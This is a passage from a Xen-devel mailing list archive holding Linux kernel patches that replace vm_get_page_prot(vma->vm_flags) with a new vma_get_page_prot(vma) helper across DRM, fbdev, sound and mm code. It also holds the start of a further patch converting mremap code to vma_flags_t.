 	vm_flags_set(vma, VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP);
 
-	vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vm_page_prot = vma_get_page_prot(vma);
 
 	if (etnaviv_obj->flags & ETNA_BO_WC) {
 		vma->vm_page_prot = pgprot_writecombine(vm_page_prot);
diff --git a/drivers/gpu/drm/exynos/exynos_drm_gem.c b/drivers/gpu/drm/exynos/exynos_drm_gem.c
index 9a6270f3dca6..0208c9259572 100644
--- a/drivers/gpu/drm/exynos/exynos_drm_gem.c
+++ b/drivers/gpu/drm/exynos/exynos_drm_gem.c
@@ -377,13 +377,13 @@ static int exynos_drm_gem_mmap(struct drm_gem_object *obj, struct vm_area_struct
 
 	/* non-cachable as default. */
 	if (exynos_gem->flags & EXYNOS_BO_CACHABLE)
-		vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+		vma->vm_page_prot = vma_get_page_prot(vma);
 	else if (exynos_gem->flags & EXYNOS_BO_WC)
 		vma->vm_page_prot =
-			pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+			pgprot_writecombine(vma_get_page_prot(vma));
 	else
 		vma->vm_page_prot =
-			pgprot_noncached(vm_get_page_prot(vma->vm_flags));
+			pgprot_noncached(vma_get_page_prot(vma));
 
 	ret = exynos_drm_gem_mmap_buffer(exynos_gem, vma);
 	if (ret)
diff --git a/drivers/gpu/drm/i915/gem/i915_gem_mman.c b/drivers/gpu/drm/i915/gem/i915_gem_mman.c
index 0644f85c6c8e..9ca90c1bb5b4 100644
--- a/drivers/gpu/drm/i915/gem/i915_gem_mman.c
+++ b/drivers/gpu/drm/i915/gem/i915_gem_mman.c
@@ -112,7 +112,7 @@ i915_gem_mmap_ioctl(struct drm_device *dev, void *data,
 		vma = find_vma(mm, addr);
 		if (vma && __vma_matches(vma, obj->base.filp, addr, args->size))
 			vma->vm_page_prot =
-				pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+				pgprot_writecombine(vma_get_page_prot(vma));
 		else
 			addr = -ENOMEM;
 		mmap_write_unlock(mm);
@@ -1024,7 +1024,7 @@ i915_gem_object_mmap(struct drm_i915_gem_object *obj,
 	fput(anon);
 
 	if (obj->ops->mmap_ops) {
-		vma->vm_page_prot = pgprot_decrypted(vm_get_page_prot(vma->vm_flags));
+		vma->vm_page_prot = pgprot_decrypted(vma_get_page_prot(vma));
 		vma->vm_ops = obj->ops->mmap_ops;
 		vma->vm_private_data = obj->base.vma_node.driver_private;
 		return 0;
@@ -1035,7 +1035,7 @@ i915_gem_object_mmap(struct drm_i915_gem_object *obj,
 	switch (mmo->mmap_type) {
 	case I915_MMAP_TYPE_WC:
 		vma->vm_page_prot =
-			pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+			pgprot_writecombine(vma_get_page_prot(vma));
 		vma->vm_ops = &vm_ops_cpu;
 		break;
 
@@ -1043,19 +1043,19 @@ i915_gem_object_mmap(struct drm_i915_gem_object *obj,
 		GEM_WARN_ON(1);
 		fallthrough;
 	case I915_MMAP_TYPE_WB:
-		vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+		vma->vm_page_prot = vma_get_page_prot(vma);
 		vma->vm_ops = &vm_ops_cpu;
 		break;
 
 	case I915_MMAP_TYPE_UC:
 		vma->vm_page_prot =
-			pgprot_noncached(vm_get_page_prot(vma->vm_flags));
+			pgprot_noncached(vma_get_page_prot(vma));
 		vma->vm_ops = &vm_ops_cpu;
 		break;
 
 	case I915_MMAP_TYPE_GTT:
 		vma->vm_page_prot =
-			pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+			pgprot_writecombine(vma_get_page_prot(vma));
 		vma->vm_ops = &vm_ops_gtt;
 		break;
 	}
diff --git a/drivers/gpu/drm/msm/msm_gem.c b/drivers/gpu/drm/msm/msm_gem.c
index cbf723a5d86f..6a78e242de7c 100644
--- a/drivers/gpu/drm/msm/msm_gem.c
+++ b/drivers/gpu/drm/msm/msm_gem.c
@@ -1125,7 +1125,7 @@ static int msm_gem_object_mmap(struct drm_gem_object *obj, struct vm_area_struct
 	struct msm_gem_object *msm_obj = to_msm_bo(obj);
 
 	vm_flags_set(vma, VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP);
-	vma->vm_page_prot = msm_gem_pgprot(msm_obj, vm_get_page_prot(vma->vm_flags));
+	vma->vm_page_prot = msm_gem_pgprot(msm_obj, vma_get_page_prot(vma));
 
 	return 0;
 }
diff --git a/drivers/gpu/drm/nouveau/nouveau_gem.c b/drivers/gpu/drm/nouveau/nouveau_gem.c
index 20dba02d6175..9a6ee2e880c0 100644
--- a/drivers/gpu/drm/nouveau/nouveau_gem.c
+++ b/drivers/gpu/drm/nouveau/nouveau_gem.c
@@ -55,7 +55,7 @@ static vm_fault_t nouveau_ttm_fault(struct vm_fault *vmf)
 		goto error_unlock;
 
 	nouveau_bo_del_io_reserve_lru(bo);
-	prot = vm_get_page_prot(vma->vm_flags);
+	prot = vma_get_page_prot(vma);
 	ret = ttm_bo_vm_fault_reserved(vmf, prot, TTM_BO_VM_NUM_PREFAULT);
 	nouveau_bo_add_io_reserve_lru(bo);
 	if (ret == VM_FAULT_RETRY && !(vmf->flags & FAULT_FLAG_RETRY_NOWAIT))
diff --git a/drivers/gpu/drm/omapdrm/omap_fbdev.c b/drivers/gpu/drm/omapdrm/omap_fbdev.c
index ca3fb186bf19..4881777642d2 100644
--- a/drivers/gpu/drm/omapdrm/omap_fbdev.c
+++ b/drivers/gpu/drm/omapdrm/omap_fbdev.c
@@ -84,7 +84,7 @@ static int omap_fbdev_pan_display(struct fb_var_screeninfo *var, struct fb_info
 
 static int omap_fbdev_fb_mmap(struct fb_info *info, struct vm_area_struct *vma)
 {
-	vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+	vma->vm_page_prot = pgprot_writecombine(vma_get_page_prot(vma));
 
 	return fb_deferred_io_mmap(info, vma);
 }
diff --git a/drivers/gpu/drm/omapdrm/omap_gem.c b/drivers/gpu/drm/omapdrm/omap_gem.c
index 00404fb6c29a..fb0e6f556b31 100644
--- a/drivers/gpu/drm/omapdrm/omap_gem.c
+++ b/drivers/gpu/drm/omapdrm/omap_gem.c
@@ -538,9 +538,9 @@ static int omap_gem_object_mmap(struct drm_gem_object *obj, struct vm_area_struc
 	vm_flags_set(vma, VM_DONTEXPAND | VM_DONTDUMP | VM_IO | VM_MIXEDMAP);
 
 	if (omap_obj->flags & OMAP_BO_WC) {
-		vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+		vma->vm_page_prot = pgprot_writecombine(vma_get_page_prot(vma));
 	} else if (omap_obj->flags & OMAP_BO_UNCACHED) {
-		vma->vm_page_prot = pgprot_noncached(vm_get_page_prot(vma->vm_flags));
+		vma->vm_page_prot = pgprot_noncached(vma_get_page_prot(vma));
 	} else {
 		/*
 		 * We do have some private objects, at least for scanout buffers
@@ -558,7 +558,7 @@ static int omap_gem_object_mmap(struct drm_gem_object *obj, struct vm_area_struc
 		vma->vm_pgoff -= drm_vma_node_start(&obj->vma_node);
 		vma_set_file(vma, obj->filp);
 
-		vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+		vma->vm_page_prot = vma_get_page_prot(vma);
 	}
 
 	vma->vm_page_prot = pgprot_decrypted(vma->vm_page_prot);
diff --git a/drivers/gpu/drm/panthor/panthor_gem.c b/drivers/gpu/drm/panthor/panthor_gem.c
index a1e2eb1ca7bb..770556353968 100644
--- a/drivers/gpu/drm/panthor/panthor_gem.c
+++ b/drivers/gpu/drm/panthor/panthor_gem.c
@@ -776,7 +776,7 @@ static int panthor_gem_mmap(struct drm_gem_object *obj, struct vm_area_struct *v
 	}
 
 	vm_flags_set(vma, VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP);
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 	if (should_map_wc(bo))
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 
diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
index b188539dca0b..9a1dc9f12072 100644
--- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
+++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
@@ -255,7 +255,7 @@ static int rockchip_drm_gem_object_mmap(struct drm_gem_object *obj,
 	 */
 	vm_flags_mod(vma, VM_IO | VM_DONTEXPAND | VM_DONTDUMP, VM_PFNMAP);
 
-	vma->vm_page_prot = pgprot_writecombine(vm_get_page_prot(vma->vm_flags));
+	vma->vm_page_prot = pgprot_writecombine(vma_get_page_prot(vma));
 	vma->vm_page_prot = pgprot_decrypted(vma->vm_page_prot);
 
 	if (rk_obj->pages)
diff --git a/drivers/gpu/drm/tegra/gem.c b/drivers/gpu/drm/tegra/gem.c
index 1d8d27a5ea89..f76af733ea79 100644
--- a/drivers/gpu/drm/tegra/gem.c
+++ b/drivers/gpu/drm/tegra/gem.c
@@ -602,7 +602,7 @@ int __tegra_gem_mmap(struct drm_gem_object *gem, struct vm_area_struct *vma)
 
 		vma->vm_pgoff = vm_pgoff;
 	} else {
-		pgprot_t prot = vm_get_page_prot(vma->vm_flags);
+		pgprot_t prot = vma_get_page_prot(vma);
 
 		vm_flags_mod(vma, VM_MIXEDMAP, VM_PFNMAP);
 
diff --git a/drivers/gpu/drm/virtio/virtgpu_vram.c b/drivers/gpu/drm/virtio/virtgpu_vram.c
index 4ae3cbc35dd3..544a6abddbc8 100644
--- a/drivers/gpu/drm/virtio/virtgpu_vram.c
+++ b/drivers/gpu/drm/virtio/virtgpu_vram.c
@@ -55,7 +55,7 @@ static int virtio_gpu_vram_mmap(struct drm_gem_object *obj,
 
 	vma->vm_pgoff -= drm_vma_node_start(&obj->vma_node);
 	vm_flags_set(vma, VM_MIXEDMAP | VM_DONTEXPAND);
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 	vma->vm_page_prot = pgprot_decrypted(vma->vm_page_prot);
 	vma->vm_ops = &virtio_gpu_vram_vm_ops;
 
diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c b/drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c
index 45561bc1c9ef..a9fd4015a0ca 100644
--- a/drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c
+++ b/drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c
@@ -481,7 +481,7 @@ vm_fault_t vmw_bo_vm_fault(struct vm_fault *vmf)
 	if (vbo->dirty && vbo->dirty->method == VMW_BO_DIRTY_MKWRITE)
 		prot = vm_get_page_prot(vma->vm_flags & ~VM_SHARED);
 	else
-		prot = vm_get_page_prot(vma->vm_flags);
+		prot = vma_get_page_prot(vma);
 
 	ret = ttm_bo_vm_fault_reserved(vmf, prot, num_prefault);
 	if (ret == VM_FAULT_RETRY && !(vmf->flags & FAULT_FLAG_RETRY_NOWAIT))
diff --git a/drivers/gpu/drm/xe/xe_device.c b/drivers/gpu/drm/xe/xe_device.c
index abe25aedeead..838797cc65d7 100644
--- a/drivers/gpu/drm/xe/xe_device.c
+++ b/drivers/gpu/drm/xe/xe_device.c
@@ -281,7 +281,7 @@ static vm_fault_t barrier_fault(struct vm_fault *vmf)
 	pgprot_t prot;
 	int idx;
 
-	prot = vm_get_page_prot(vma->vm_flags);
+	prot = vma_get_page_prot(vma);
 
 	if (drm_dev_enter(dev, &idx)) {
 		unsigned long pfn;
diff --git a/drivers/gpu/drm/xe/xe_mmio_gem.c b/drivers/gpu/drm/xe/xe_mmio_gem.c
index 8c803ef233cc..3741ae60f532 100644
--- a/drivers/gpu/drm/xe/xe_mmio_gem.c
+++ b/drivers/gpu/drm/xe/xe_mmio_gem.c
@@ -149,7 +149,7 @@ static int xe_mmio_gem_mmap(struct drm_gem_object *base, struct vm_area_struct *
 
 	/* Set vm_pgoff (used as a fake buffer offset by DRM) to 0 */
 	vma->vm_pgoff = 0;
-	vma->vm_page_prot = pgprot_noncached(vm_get_page_prot(vma->vm_flags));
+	vma->vm_page_prot = pgprot_noncached(vma_get_page_prot(vma));
 	vm_flags_set(vma, VM_IO | VM_PFNMAP | VM_DONTEXPAND | VM_DONTDUMP |
 		     VM_DONTCOPY | VM_NORESERVE);
 
diff --git a/drivers/gpu/drm/xen/xen_drm_front_gem.c b/drivers/gpu/drm/xen/xen_drm_front_gem.c
index eec4c1da3f9e..dd158443f55f 100644
--- a/drivers/gpu/drm/xen/xen_drm_front_gem.c
+++ b/drivers/gpu/drm/xen/xen_drm_front_gem.c
@@ -80,7 +80,7 @@ static int xen_drm_front_gem_object_mmap(struct drm_gem_object *gem_obj,
 	 * which is mapped as Normal Inner Write-Back Outer Write-Back
 	 * Inner-Shareable.
 	 */
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 
 	/*
 	 * vm_operations_struct.fault handler will be called if CPU access
diff --git a/drivers/video/fbdev/core/fb_io_fops.c b/drivers/video/fbdev/core/fb_io_fops.c
index 6ab60fcd0050..6d0a8c8e141a 100644
--- a/drivers/video/fbdev/core/fb_io_fops.c
+++ b/drivers/video/fbdev/core/fb_io_fops.c
@@ -161,7 +161,7 @@ int fb_io_mmap(struct fb_info *info, struct vm_area_struct *vma)
 		len = info->fix.mmio_len;
 	}
 
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 	vma->vm_page_prot = pgprot_framebuffer(vma->vm_page_prot, vma->vm_start,
 					       vma->vm_end, start);
 
diff --git a/include/linux/mm.h b/include/linux/mm.h
index b8fe40f89d87..1209db1a4b92 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -4610,6 +4610,11 @@ static inline pgprot_t vma_flags_to_page_prot(vma_flags_t vma_flags)
 	return vm_get_page_prot(vm_flags);
 }
 
+static inline pgprot_t vma_get_page_prot(const struct vm_area_struct *vma)
+{
+	return vma_flags_to_page_prot(vma->flags);
+}
+
 void vma_set_page_prot(struct vm_area_struct *vma);
 #else
 static inline pgprot_t vm_get_page_prot(vm_flags_t vm_flags)
@@ -4620,9 +4625,13 @@ static inline pgprot_t vma_flags_to_page_prot(vma_flags_t vma_flags)
 {
 	return __pgprot(0);
 }
+static inline pgprot_t vma_get_page_prot(const struct vm_area_struct *vma)
+{
+	return __pgprot(0);
+}
 static inline void vma_set_page_prot(struct vm_area_struct *vma)
 {
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 }
 #endif
 
diff --git a/mm/vma.c b/mm/vma.c
index 38481aca7321..e0ad895098a9 100644
--- a/mm/vma.c
+++ b/mm/vma.c
@@ -3430,7 +3430,7 @@ struct vm_area_struct *__install_special_mapping(
 	if (pgtable_supports_soft_dirty())
 		vm_flags |= VM_SOFTDIRTY;
 	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 
 	vma->vm_ops = ops;
 	vma->vm_private_data = priv;
diff --git a/mm/vma_exec.c b/mm/vma_exec.c
index ef1fa2b161f3..a3c6b05c65fe 100644
--- a/mm/vma_exec.c
+++ b/mm/vma_exec.c
@@ -146,7 +146,7 @@ int create_init_stack_vma(struct mm_struct *mm, struct vm_area_struct **vmap,
 	if (pgtable_supports_soft_dirty())
 		flags |= VM_SOFTDIRTY;
 	vm_flags_init(vma, flags);
-	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
+	vma->vm_page_prot = vma_get_page_prot(vma);
 
 	err = insert_vm_struct(mm, vma);
 	if (err)
diff --git a/sound/core/memalloc.c b/sound/core/memalloc.c
index 9320671dfcc8..5bc7e586b430 100644
--- a/sound/core/memalloc.c
+++ b/sound/core/memalloc.c
@@ -851,7 +851,7 @@ static void snd_dma_noncoherent_free(struct snd_dma_buffer *dmab)
 static int snd_dma_noncoherent_mmap(struct snd_dma_buffer *dmab,
 				    struct vm_area_struct *area)
 {
-	area->vm_page_prot = vm_get_page_prot(area->vm_flags);
+	area->vm_page_prot = vma_get_page_prot(area);
 	return dma_mmap_pages(dmab->dev.dev, area,
 			      area->vm_end - area->vm_start,
 			      virt_to_page(dmab->area));
diff --git a/tools/testing/vma/include/dup.h b/tools/testing/vma/include/dup.h
index 8621a7ae8980..57c80924813d 100644
--- a/tools/testing/vma/include/dup.h
+++ b/tools/testing/vma/include/dup.h
@@ -1573,3 +1573,8 @@ static inline void vma_assert_can_modify(struct vm_area_struct *vma)
 	if (vma_is_attached(vma))
 		vma_assert_write_locked(vma);
 }
+
+static inline pgprot_t vma_get_page_prot(const struct vm_area_struct *vma)
+{
+	return vma_flags_to_page_prot(vma->flags);
+}

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360588.1613519 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkM-00011V-0Q; Sun, 12 Jul 2026 05:28:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360588.1613519; Sun, 12 Jul 2026 05:28:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkL-0000wf-Ho; Sun, 12 Jul 2026 05:28:57 +0000
Received: by outflank-mailman (input) for mailman id 1360588;
 Sat, 11 Jul 2026 18:50:17 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wicmH-0006am-6r
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:50:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicmG-003kxB-K5
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:50:16 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a529045-2eae-0a2a0a5409dd-0a2a45038344-18
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:50:16 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a529067-f2d2-0a2a45030019-ac6904fe8fc6-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:50:16 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 16BBB601D9;
 Sat, 11 Jul 2026 18:50:15 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 2690E1F00A3A;
 Sat, 11 Jul 2026 18:49:53 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795814;
	bh=VYkDI6h+waLNcPjkBya9DGnDggZvgWVLygEReXlfsZM=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=kGl604zOY5i/9BHc7cLc4ryqHD+01SAUicrFqMKwslfHQhi80jDyaMm2MyxhO5qOt
	 5Pq/TrS3o9h1Q+W/qwP8lSEVI5jCfMdWQHJGOSTzqQxcgi/ZcaaOXqvQkVb1FUVgE6
	 9YbVEPYs9ZC7WBFyRZhHqrj+/ntYKTZVK3XRtCayQvKHxiWeP6HYUE54e0sI1syKFA
	 s2zK3U9ax8wTAugutxfyxWaRWS5LrbXoh4d2i5NgoY8R2qopkb5XoFfc+IxgcXnP6J
	 LumgNfEnvhlL0OZHtdfacxoMtfjedGIBKxF4rKadinDpk8PtJvmtheBqh+pFiShHQX
	 BbDB2Fj9clkaw==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:10 +0100
Subject: [PATCH v2 13/13] mm/mremap: convert mremap code to use vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-13-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=6381; i=ljs@kernel.org;
 h=from:subject:message-id; bh=PIqQBUvFAhhZLltfbuAmGUSiDj9zb0uqnBAJox/uNeE=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+q2WCm/T1ymxZjMq/yxer2XvM7/x212H55Myy179n
 RqvN8Gno5SFQYyLQVZMkeX5F/H9QSJh8zov+LvBzGFlAhnCwMUpABPpOszIsGhLcPGPAz1FjgKb
 Jc53v4/W6X/HznOmXdW58Edb+l2lCQz/DLaa7emYsZ9lb/CKY38l3gjvWSW8537dgQvfdvIpbK9
 8xgIA
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-33051d/1783795816-C9D54CF4-651A45C8/0/0
X-purgate-type: clean
X-purgate-size: 6383

Replace use of the legacy vm_flags_t flags with vma_flags_t values
throughout the mremap logic.

Note that, in replacing vm_flags_clear() (which takes the VMA write lock)
with vma_clear_flags() and vma_clear_flags_mask() (which do not)
respectively in unmap_source_vma() and dontunmap_complete(), we do not add
a VMA write lock to account for htis.

This is because, in both cases, move_vma() is their calling function and
this has already acquired the VMA write lock on vrm->vma whose VMA flags
are being cleared.

In the case of vma_set_flags() in unmap_source_vma() we do need to do this
- as prev and next were not necessarily write locked at this point.

Additionally update comments to reflect the changes to be consistent.

No functional change intended.

Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 mm/mremap.c | 38 ++++++++++++++++++++------------------
 1 file changed, 20 insertions(+), 18 deletions(-)

diff --git a/mm/mremap.c b/mm/mremap.c
index 384ef4cc2195..b64aa1f6e07e 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -68,7 +68,7 @@ struct vma_remap_struct {
 	bool populate_expand;		/* mlock()'d expanded, must populate. */
 	enum mremap_type remap_type;	/* expand, shrink, etc. */
 	bool mmap_locked;		/* Is mm currently write-locked? */
-	unsigned long charged;		/* If VM_ACCOUNT, # pages to account. */
+	unsigned long charged;		/* If VMA_ACCOUNT_BIT, # pgs to account */
 	bool vmi_needs_invalidate;	/* Is the VMA iterator invalidated? */
 };
 
@@ -963,7 +963,7 @@ static unsigned long vrm_set_new_addr(struct vma_remap_struct *vrm)
 
 	if (vrm->flags & MREMAP_FIXED)
 		map_flags |= MAP_FIXED;
-	if (vma->vm_flags & VM_MAYSHARE)
+	if (vma_test(vma, VMA_MAYSHARE_BIT))
 		map_flags |= MAP_SHARED;
 
 	res = get_unmapped_area(vma->vm_file, new_addr, vrm->new_len, pgoff,
@@ -985,7 +985,7 @@ static bool vrm_calc_charge(struct vma_remap_struct *vrm)
 {
 	unsigned long charged;
 
-	if (!(vrm->vma->vm_flags & VM_ACCOUNT))
+	if (!vma_test(vrm->vma, VMA_ACCOUNT_BIT))
 		return true;
 
 	/*
@@ -1012,7 +1012,7 @@ static bool vrm_calc_charge(struct vma_remap_struct *vrm)
  */
 static void vrm_uncharge(struct vma_remap_struct *vrm)
 {
-	if (!(vrm->vma->vm_flags & VM_ACCOUNT))
+	if (!vma_test(vrm->vma, VMA_ACCOUNT_BIT))
 		return;
 
 	vm_unacct_memory(vrm->charged);
